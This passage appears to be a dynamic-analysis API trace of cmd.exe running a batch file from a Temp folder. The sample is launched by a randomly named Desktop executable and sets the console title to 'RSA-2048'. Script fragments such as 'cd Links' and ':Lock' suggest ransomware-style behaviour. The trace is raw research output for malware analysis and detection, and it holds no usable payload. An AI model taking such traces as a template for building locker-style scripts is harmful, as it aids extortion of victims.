"c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0037.024] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0037.024] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.024] SetFilePointer (in: hFile=0x78, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.024] GetProcessHeap () returned 0x4e0000 [0037.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.024] GetProcessHeap () returned 0x4e0000 [0037.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.024] GetProcessHeap () returned 0x4e0000 [0037.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.024] GetProcessHeap () returned 0x4e0000 [0037.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.024] GetProcessHeap () returned 0x4e0000 [0037.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.024] GetProcessHeap () returned 0x4e0000 [0037.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.024] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.024] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.024] ReadFile (in: hFile=0x78, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.024] SetFilePointer (in: hFile=0x78, lDistanceToMove=35, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=16, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="title RSA-2048\r\n") returned 16 [0037.025] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.025] GetFileType (hFile=0x78) returned 0x1 [0037.025] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.025] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.025] GetProcessHeap () returned 0x4e0000 [0037.026] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.026] GetProcessHeap () returned 0x4e0000 [0037.026] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.026] _wcsicmp (_String1="title", _String2=")") returned 75 [0037.026] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0037.026] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0037.026] _wcsicmp (_String1="IF", _String2="title") returned -11 [0037.026] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0037.026] _wcsicmp (_String1="REM", _String2="title") returned -2 [0037.026] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0037.026] GetProcessHeap () returned 0x4e0000 [0037.026] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.026] GetProcessHeap () returned 0x4e0000 [0037.026] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4a98 [0037.027] GetProcessHeap () returned 0x4e0000 [0037.027] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.028] _tell (_FileHandle=3) returned 35 [0037.028] _close (_FileHandle=3) returned 0 [0037.028] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0037.028] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0037.028] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0037.028] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0037.028] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0037.028] _wcsicmp (_String1="title", _String2="CD") returned 17 [0037.028] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0037.028] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0037.028] _wcsicmp (_String1="title", _String2="REN") returned 2 [0037.028] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0037.028] _wcsicmp (_String1="title", _String2="SET") returned 1 [0037.028] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0037.028] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0037.028] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0037.028] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0037.028] _wcsicmp (_String1="title", _String2="MD") returned 7 [0037.028] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0037.028] _wcsicmp (_String1="title", _String2="RD") returned 2 [0037.028] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0037.028] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0037.028] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0037.029] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0037.029] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0037.029] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0037.029] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0037.029] _wcsicmp (_String1="title", _String2="VER") returned -2 [0037.029] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0037.029] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0037.029] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0037.029] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0037.029] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0037.029] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned 0x3a [0037.029] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x30) returned 0x4f4ab8 [0037.029] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ab8, Size=0x1c) returned 0x4f4ab8 [0037.029] GetProcessHeap () returned 0x4e0000 [0037.029] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ab8) returned 0x1c [0037.029] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f4ae0 [0037.029] NtOpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x41ee90 | out: TokenHandle=0x41ee90*=0x0) returned 0xc000007c [0037.029] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41ee90 | out: TokenHandle=0x41ee90*=0x78) returned 0x0 [0037.029] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x12, TokenInformation=0x41ee5c, TokenInformationLength=0x4, ReturnLength=0x41ee70 | out: TokenInformation=0x41ee5c, ReturnLength=0x41ee70) returned 0x0 [0037.030] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x1a, TokenInformation=0x41ee68, TokenInformationLength=0x4, ReturnLength=0x41ee6c | out: TokenInformation=0x41ee68, ReturnLength=0x41ee6c) returned 0x0 [0037.030] NtClose (Handle=0x78) returned 0x0 [0037.030] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x41ee98, nSize=0x0, Arguments=0x41ee94 | out: lpBuffer="䬐OA썓䩞❈䀀\x09") returned 0xf [0037.030] GetProcessHeap () returned 0x4e0000 [0037.030] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x5038a0 [0037.030] SetConsoleTitleW (lpConsoleTitle="Administrator: RSA-2048") returned 1 [0037.031] GetProcessHeap () returned 0x4e0000 [0037.032] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.032] LocalFree (hMem=0x4f4b10) returned 0x0 [0037.032] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.032] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.032] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.032] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.032] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.032] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.032] SetConsoleInputExeNameW () returned 0x1 [0037.033] GetConsoleOutputCP () returned 0x1b5 [0037.033] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.033] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.033] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0037.033] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0037.033] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.033] SetFilePointer (in: hFile=0x78, lDistanceToMove=35, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.033] GetProcessHeap () returned 0x4e0000 [0037.033] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ae0 | out: hHeap=0x4e0000) returned 1 [0037.033] GetProcessHeap () returned 0x4e0000 [0037.033] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.033] GetProcessHeap () returned 0x4e0000 [0037.033] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.033] GetProcessHeap () returned 0x4e0000 [0037.033] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.033] GetProcessHeap () returned 0x4e0000 [0037.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.034] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.034] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.034] ReadFile (in: hFile=0x78, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.034] SetFilePointer (in: hFile=0x78, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="cd Links\r\n2048\r\n") returned 10 [0037.034] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.034] GetFileType (hFile=0x78) returned 0x1 [0037.034] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.034] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.034] GetProcessHeap () returned 0x4e0000 [0037.034] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.034] GetProcessHeap () returned 0x4e0000 [0037.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.034] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.034] GetProcessHeap () returned 0x4e0000 [0037.034] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.035] GetProcessHeap () returned 0x4e0000 [0037.035] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a98 [0037.035] _tell (_FileHandle=3) returned 45 [0037.035] _close (_FileHandle=3) returned 0 [0037.035] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0037.035] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0037.036] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0037.036] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0037.036] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0037.036] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0037.036] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.036] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4ab8 [0037.036] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ab8, Size=0x16) returned 0x4f4ab8 [0037.036] GetProcessHeap () returned 0x4e0000 [0037.036] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ab8) returned 0x16 [0037.038] GetProcessHeap () returned 0x4e0000 [0037.038] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.038] GetProcessHeap () returned 0x4e0000 [0037.038] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4ad8 [0037.038] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ad8, Size=0x16) returned 0x4f4ad8 [0037.038] GetProcessHeap () returned 0x4e0000 [0037.038] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ad8) returned 0x16 [0037.038] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4af8 [0037.038] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41ec64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.039] GetFullPathNameW (in: lpFileName="Links", nBufferLength=0x104, lpBuffer=0x41ec64, lpFilePart=0x41ec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Links", lpFilePart=0x41ec60*="Links") returned 0x2b [0037.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\links")) returned 0xffffffff [0037.041] GetLastError () returned 0x2 [0037.041] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4f4b18 [0037.041] FindClose (in: hFindFile=0x4f4b18 | out: hFindFile=0x4f4b18) returned 1 [0037.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4f4b18 [0037.041] FindClose (in: hFindFile=0x4f4b18 | out: hFindFile=0x4f4b18) returned 1 [0037.041] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0037.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60b79540, ftLastAccessTime.dwHighDateTime=0x1d6e1d5, ftLastWriteTime.dwLowDateTime=0x60b79540, ftLastWriteTime.dwHighDateTime=0x1d6e1d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4f4b18 [0037.042] FindClose (in: hFindFile=0x4f4b18 | out: hFindFile=0x4f4b18) returned 1 [0037.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Links", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60b79540, ftLastAccessTime.dwHighDateTime=0x1d6e1d5, ftLastWriteTime.dwLowDateTime=0x60b79540, ftLastWriteTime.dwHighDateTime=0x1d6e1d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0xffffffff [0037.042] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\links")) returned 0xffffffff [0037.042] GetLastError () returned 0x2 [0037.043] _local_unwind4 () returned 0x41ee80 [0037.044] GetProcessHeap () returned 0x4e0000 [0037.044] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.044] _get_osfhandle (_FileHandle=2) returned 0xb [0037.044] GetFileType (hFile=0xb) returned 0x2 [0037.044] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.044] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41ee20 | out: lpMode=0x41ee20) returned 1 [0037.044] _get_osfhandle (_FileHandle=2) returned 0xb [0037.044] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ee54 | out: lpConsoleScreenBufferInfo=0x41ee54) returned 1 [0037.045] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x3, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The system cannot find the path specified.\r\n") returned 0x2c [0037.049] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x3, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ee94 | out: lpBuffer="The system cannot find the path specified.\r\n") returned 0x2c [0037.049] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x41ee78, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ee78*=0x2c) returned 1 [0037.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.050] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.050] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.050] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.050] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.051] SetConsoleInputExeNameW () returned 0x1 [0037.051] GetConsoleOutputCP () returned 0x1b5 [0037.051] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.051] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.051] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.051] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.051] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.051] SetFilePointer (in: hFile=0x74, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.051] GetProcessHeap () returned 0x4e0000 [0037.051] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ad8 | out: hHeap=0x4e0000) returned 1 [0037.051] GetProcessHeap () returned 0x4e0000 [0037.051] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.051] GetProcessHeap () returned 0x4e0000 [0037.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.052] GetProcessHeap () returned 0x4e0000 [0037.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.052] GetProcessHeap () returned 0x4e0000 [0037.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.052] GetProcessHeap () returned 0x4e0000 [0037.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.052] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.052] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.052] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.052] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.052] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr=":Lock\r\ns\r\n2048\r\n") returned 7 [0037.052] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.052] GetFileType (hFile=0x74) returned 0x1 [0037.052] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.052] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.052] GetProcessHeap () returned 0x4e0000 [0037.052] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.052] GetProcessHeap () returned 0x4e0000 [0037.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.053] _tell (_FileHandle=3) returned 52 [0037.053] _close (_FileHandle=3) returned 0 [0037.053] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.053] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.053] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.053] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.053] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.053] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.053] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.053] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.053] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nock\r\ns\r\n2048\r\n") returned 2 [0037.054] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.054] GetFileType (hFile=0x74) returned 0x1 [0037.054] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.054] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.054] GetProcessHeap () returned 0x4e0000 [0037.054] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.054] GetProcessHeap () returned 0x4e0000 [0037.054] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.054] _tell (_FileHandle=3) returned 54 [0037.054] _close (_FileHandle=3) returned 0 [0037.054] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.054] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.054] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.054] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.054] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.055] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.055] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.055] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.055] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | 